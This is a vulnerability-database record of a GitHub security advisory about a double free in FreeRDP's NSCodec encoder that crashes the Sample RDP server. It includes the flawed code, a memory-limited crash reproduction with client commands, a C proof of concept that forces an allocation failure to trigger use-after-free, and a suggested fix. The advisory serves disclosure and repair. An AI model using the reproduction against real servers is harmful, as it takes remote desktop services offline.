{"schema":"threatline.record/2","record":{"id":"GHSA-2hhg-8xx6-v73w","aliases":["GHSA-2hhg-8xx6-v73w"],"summary":"NSCodec partial plane growth failure leaves dangling pointers and crashes the server","details":"# NSCodec partial plane growth failure leaves dangling pointers and crashes the server\r\n\r\n## Summary\r\n\r\n`nsc_context_initialize_encode()` grows five aligned plane buffers one by one and publishes each successful replacement immediately. If a later growth fails, the common failure path frees every plane buffer but leaves the freed addresses stored in the context. Normal context teardown subsequently frees the stale addresses again.\r\n\r\nA real RDP client can negotiate NSCodec and choose a desktop geometry that determines these allocation sizes. Under bounded server memory, a partial-growth failure reproducibly terminates the FreeRDP Sample server with `SIGSEGV`.\r\n\r\nThe native product-pipeline crash was reproduced with commit `9415f2d11e4cbc4e25d3d9fd0c4271e2e05d5c58` (`3.30.0-48-g9415f2d1`). Direct ASan reproduction was performed at `f4eed14aa8dadc44df320dcdde9dd8329a643d58` (`3.31.0-58-gf4eed14aa`). The owning file is byte-for-byte identical in release `3.31.0`, at `dbea8ef5d3eb680bbafbdeaf0cc81a6614070196`, and at the reporting-time upstream HEAD `69afd13014b3a5f5e32d649112ce6f06d8024449` (`3.31.0-121-g69afd1301`):\r\n\r\n```text\r\nlibfreerdp/codec/nsc_encode.c\r\nSHA-256 9c78f5b9e282a099e02acafc34c9b446c697942648ac42485585f445e24badcd\r\n```\r\n\r\n## Affected versions\r\n\r\n- Confirmed affected release: FreeRDP `3.31.0`.\r\n- Dynamically tested development revisions: `3.30.0-48-g9415f2d1` (native RDP pipeline) and `3.31.0-58-gf4eed14aa` (direct ASan lifecycle).\r\n- Confirmed affected source at reporting time: `3.31.0-121-g69afd1301`.\r\n- First affected historical release was not exhaustively bisected. The unsafe caller cleanup predates these revisions, so the structured advisory range is intentionally limited to the confirmed release rather than guessing an older lower bound.\r\n- No patched upstream release was known at the time of reporting.\r\n\r\n## Root cause\r\n\r\nThe relevant transaction in `libfreerdp/codec/nsc_encode.c` is:\r\n\r\n```c\r\nif (length > context->priv->PlaneBuffersLength)\r\n{\r\n    for (int i = 0; i < 5; i++)\r\n    {\r\n        BYTE* tmp = (BYTE*)winpr_aligned_recalloc(\r\n            context->priv->PlaneBuffers[i], length, sizeof(BYTE), 32);\r\n\r\n        if (!tmp)\r\n            goto fail;\r\n\r\n        context->priv->PlaneBuffers[i] = tmp;\r\n    }\r\n\r\n    context->priv->PlaneBuffersLength = length;\r\n}\r\n\r\n/* ... */\r\n\r\nfail:\r\nif (length > context->priv->PlaneBuffersLength)\r\n{\r\n    for (int i = 0; i < 5; i++)\r\n        winpr_aligned_free(context->priv->PlaneBuffers[i]);\r\n}\r\nreturn FALSE;\r\n```\r\n\r\nThe loop has already committed zero or more new owners to `PlaneBuffers[]` when a later call fails. The failure loop frees the complete owner set without setting the fields to `NULL` or restoring a coherent previous state. `PlaneBuffersLength` is also not committed. The returned context therefore contains dangling plane pointers.\r\n\r\nThe ordinary failure path in the Sample server destroys the peer context. `nsc_context_free()` then calls `winpr_aligned_free()` on the dangling plane fields, causing an invalid access/double free.\r\n\r\n## Real RDP pipeline and native DoS\r\n\r\nThe exercised path is:\r\n\r\n```text\r\nTCP -> TLS -> RDP capability/desktop negotiation\r\n    -> Sample server activation/background draw\r\n    -> nsc_compose_message()\r\n    -> nsc_context_initialize_encode()\r\n    -> partial plane growth failure\r\n    -> activation failure and peer teardown\r\n    -> nsc_context_free()\r\n    -> stale aligned free -> SIGSEGV\r\n```\r\n\r\nThe client uses public FreeRDP settings, disables RemoteFX, enables NSCodec and requests a 1536x1536 desktop. The server runs under an ordinary process address-space limit; there is no allocator-failure hook or selected allocation ordinal in this test.\r\n\r\nRepresentative command shape:\r\n\r\n```sh\r\nprlimit --as=131072000 -- \\\r\n  ./server/Sample/sfreerdp-server \\\r\n  --port=39901 --cert=server.crt --key=server.key\r\n\r\n./nscodec-client --server=127.0.0.1 --port=39901 \\\r\n  --width=1536 --height=1536 --nscodec\r\n```\r\n\r\nObserved differential:\r\n\r\n| Case | Result |\r\n| --- | --- |\r\n| vulnerable server, 125 MiB, 1536x1536 | `SIGSEGV` 3/3 during context teardown |\r\n| one-line repaired server, same workload | controlled compose failure; server remains alive 3/3 |\r\n| vulnerable server, 120 MiB | first plane fails before partial publication; server remains alive 3/3 |\r\n| vulnerable server, 130 MiB | all five plane allocations succeed; server remains alive 3/3 |\r\n\r\nAn independently retained 4096x4096/192 MiB matrix also terminated the vulnerable server 3/3 and left the repaired server alive 3/3.\r\n\r\nCaptured vulnerable stacks contain:\r\n\r\n```text\r\nwinpr_aligned_free\r\nnsc_context_free\r\nfreerdp_peer_context_free\r\n```\r\n\r\nDirect sanitizer testing of the public NSCodec lifecycle also reports `heap-use-after-free` both during `nsc_context_free()` and when immediately retrying `nsc_compose_message()` after a partial growth failure.\r\n\r\n## Build\r\n\r\n```sh\r\ngit clone https://github.com/FreeRDP/FreeRDP.git\r\ncd FreeRDP\r\ngit checkout --detach dbea8ef5d3eb680bbafbdeaf0cc81a6614070196\r\n\r\ncmake -S . -B build -G Ninja \\\r\n  -DCMAKE_BUILD_TYPE=RelWithDebInfo \\\r\n  -DBUILD_SHARED_LIBS=ON \\\r\n  -DWITH_SERVER=ON \\\r\n  -DWITH_SAMPLE=ON\r\ncmake --build build\r\n```\r\n\r\nFor sanitizer attribution:\r\n\r\n```sh\r\ncmake -S . -B build-asan -G Ninja \\\r\n  -DCMAKE_BUILD_TYPE=RelWithDebInfo \\\r\n  -DBUILD_SHARED_LIBS=ON \\\r\n  -DWITH_SERVER=ON \\\r\n  -DWITH_SAMPLE=ON \\\r\n  -DCMAKE_C_FLAGS='-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined' \\\r\n  -DCMAKE_EXE_LINKER_FLAGS='-fsanitize=address,undefined' \\\r\n  -DCMAKE_SHARED_LINKER_FLAGS='-fsanitize=address,undefined'\r\ncmake --build build-asan\r\n```\r\n\r\n## Impact and limitations\r\n\r\nThis demonstrates a client-influenced server denial of service and a real use-after-free/double-free state. The client controls the codec choice and geometry, but a server-side bounded-memory condition or equivalent allocation failure is still required. No disclosure, arbitrary read/write, controlled fault address, instruction-pointer control or code execution was demonstrated.\r\n\r\n## Suggested repair\r\n\r\nDo not free the published plane-owner set from the partial-growth failure tail. Each aligned recalloc already preserves the previous owner on failure. Returning `FALSE` immediately when a plane cannot grow keeps every field valid and lets normal context teardown release each owner exactly once. An alternative would be a fully transactional five-buffer replacement followed by one commit.\r\n\r\nThe tested minimal repair replaces `goto fail` with `return FALSE` and removes the destructive failure loop. It was clean in the real RDP differential, direct ASan teardown/retry tests and existing codec/alignment tests.\r\n\r\n## Relationship to public PRs #13219 and #13224\r\n\r\nThis is not the already-fixed central `winpr_aligned_recalloc()` contract from #13219/#13224. Those changes make a failed aligned recalloc preserve the caller's old allocation. The current issue is the independent NSCodec caller-level failure tail shown above: after the central allocator correctly preserves owners, NSCodec explicitly frees the entire published plane set and leaves the freed addresses in the context. The vulnerable `nsc_encode.c` code is still present at current HEAD.\r\n\r\n## Minimal ASan reproducer (no attachment required)\r\n\r\nSave the following as `nsc_plane_failure_poc.c`. It uses the public NSCodec lifecycle and makes only the second 32-byte plane backing allocation fail. On x86-64 ASan builds that allocation reaches `posix_memalign(32, 88)`. The first plane has therefore already been published before the failure.\r\n\r\n```c\r\n#define _GNU_SOURCE\r\n\r\n#include <errno.h>\r\n#include <stdatomic.h>\r\n#include <stdint.h>\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <string.h>\r\n\r\n#include <freerdp/codec/color.h>\r\n#include <freerdp/codec/nsc.h>\r\n#include <winpr/stream.h>\r\n\r\nextern int __interceptor_posix_memalign(void**, size_t, size_t);\r\n\r\nenum\r\n{\r\n    WIDTH = 8,\r\n    HEIGHT = 2,\r\n    STRIDE = WIDTH * 4,\r\n    PLANE_BACKING_REQUEST = (WIDTH * HEIGHT + 16) + 32 + 24\r\n};\r\n\r\nstatic _Atomic int armed;\r\nstatic _Atomic unsigned long selected;\r\n\r\nint posix_memalign(void** out, size_t alignment, size_t size)\r\n{\r\n    if (atomic_load_explicit(&armed, memory_order_acquire) &&\r\n        (alignment == 32) && (size == PLANE_BACKING_REQUEST))\r\n    {\r\n        const unsigned long ordinal =\r\n            atomic_fetch_add_explicit(&selected, 1, memory_order_relaxed) + 1;\r\n        fprintf(stderr, \"plane allocation %lu: alignment=%zu size=%zu\\n\",\r\n                ordinal, alignment, size);\r\n        if (ordinal == 2)\r\n        {\r\n            *out = NULL;\r\n            return ENOMEM;\r\n        }\r\n    }\r\n    return __interceptor_posix_memalign(out, alignment, size);\r\n}\r\n\r\nint main(void)\r\n{\r\n    NSC_CONTEXT* context = nsc_context_new();\r\n    wStream* stream = Stream_New(NULL, 1024);\r\n    BYTE pixels[HEIGHT * STRIDE];\r\n    memset(pixels, 0x5a, sizeof(pixels));\r\n\r\n    if (!context || !stream)\r\n        return 1;\r\n    if (!nsc_context_set_parameters(context, NSC_COLOR_FORMAT,\r\n                                    PIXEL_FORMAT_BGRX32))\r\n        return 2;\r\n\r\n    atomic_store_explicit(&selected, 0, memory_order_relaxed);\r\n    atomic_store_explicit(&armed, 1, memory_order_release);\r\n    const BOOL composed = nsc_compose_message(context, stream, pixels,\r\n                                               WIDTH, HEIGHT, STRIDE);\r\n    atomic_store_explicit(&armed, 0, memory_order_release);\r\n    fprintf(stderr, \"compose=%d selected=%lu\\n\", composed,\r\n            atomic_load_explicit(&selected, memory_order_relaxed));\r\n\r\n    Stream_Free(stream, TRUE);\r\n    nsc_context_free(context); /* ASan heap-use-after-free here */\r\n    return composed ? 3 : 0;\r\n}\r\n```\r\n\r\nBuild the tested revision and the PoC:\r\n\r\n```sh\r\ngit clone https://github.com/FreeRDP/FreeRDP.git\r\ncd FreeRDP\r\ngit checkout --detach f4eed14aa8dadc44df320dcdde9dd8329a643d58\r\n\r\nFLAGS='-O1 -g -fno-omit-frame-pointer -fno-optimize-sibling-calls -fsanitize=address,undefined'\r\ncmake -S . -B build-asan -G Ninja \\\r\n  -DCMAKE_BUILD_TYPE=Debug \\\r\n  -DCMAKE_C_COMPILER=clang -DCMAKE_CXX_COMPILER=clang++ \\\r\n  -DCMAKE_C_FLAGS=\"$FLAGS\" -DCMAKE_CXX_FLAGS=\"$FLAGS\" \\\r\n  -DCMAKE_EXE_LINKER_FLAGS='-fsanitize=address,undefined' \\\r\n  -DCMAKE_SHARED_LINKER_FLAGS='-fsanitize=address,undefined' \\\r\n  -DBUILD_SHARED_LIBS=ON -DWITH_CLIENT=OFF -DWITH_SERVER=OFF \\\r\n  -DWITH_CHANNELS=OFF -DWITH_SAMPLE=OFF -DWITH_X11=OFF \\\r\n  -DWITH_WAYLAND=OFF -DWITH_FFMPEG=OFF\r\ncmake --build build-asan --target winpr freerdp\r\n\r\nclang -std=gnu11 -O0 -g -fsanitize=address,undefined \\\r\n  -fno-omit-frame-pointer -fno-optimize-sibling-calls \\\r\n  -Ibuild-asan/include -Ibuild-asan/winpr/include \\\r\n  -Iinclude -Iwinpr/include ../nsc_plane_failure_poc.c \\\r\n  -Lbuild-asan/libfreerdp -Lbuild-asan/winpr/libwinpr \\\r\n  -lfreerdp3 -lwinpr3 \\\r\n  -Wl,-rpath,\"$PWD/build-asan/libfreerdp:$PWD/build-asan/winpr/libwinpr\" \\\r\n  -ldl -pthread -o nsc_plane_failure_poc\r\n\r\nASAN_OPTIONS='detect_leaks=0:allocator_may_return_null=1:halt_on_error=1:symbolize=1' \\\r\nUBSAN_OPTIONS='halt_on_error=1:print_stacktrace=1' \\\r\n./nsc_plane_failure_poc\r\n```\r\n\r\nExpected result on the vulnerable revision:\r\n\r\n```text\r\nplane allocation 1: alignment=32 size=88\r\nplane allocation 2: alignment=32 size=88\r\ncompose=0 selected=2\r\nERROR: AddressSanitizer: heap-use-after-free\r\n    ... winpr_aligned_free ...\r\n    ... nsc_context_free ...\r\n```\r\n\r\nReplacing the final teardown with an immediate second `nsc_compose_message()` produces the same UAF in `winpr_aligned_offset_recalloc()`. Failing allocation one is a negative control because no replacement has yet been published. On the one-file repair, the failed compose returns `FALSE`, teardown is clean, and an immediate retry succeeds.\r\n","categories":["Unclassified"],"product":"FreeRDP","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-2hhg-8xx6-v73w","source_modified_at":"2026-09-28T08:03:12Z","fetched_at":"2026-10-24T18:03:20.872036Z","package":{"ecosystem":"c","name":"FreeRDP"},"range":"= 3.31.0"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-2hhg-8xx6-v73w","source_modified_at":"2026-09-28T08:03:12Z","fetched_at":"2026-10-24T18:03:20.872036Z","package":{"ecosystem":"c","name":"FreeRDP"},"version":"3.32.0"}],"cvss":null,"severity":"Medium","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-09-28T08:03:12Z","modified_at":"2026-09-28T08:03:12Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-2hhg-8xx6-v73w","fetched_at":"2026-10-24T18:03:20.872036Z","source_modified_at":"2026-09-28T08:03:12Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-09-28T08:03:12Z","content_hash":"77047d1e4b76c707d367e7c2171c2a93ceb93883734f254a5e6fb48f125e0410"}}
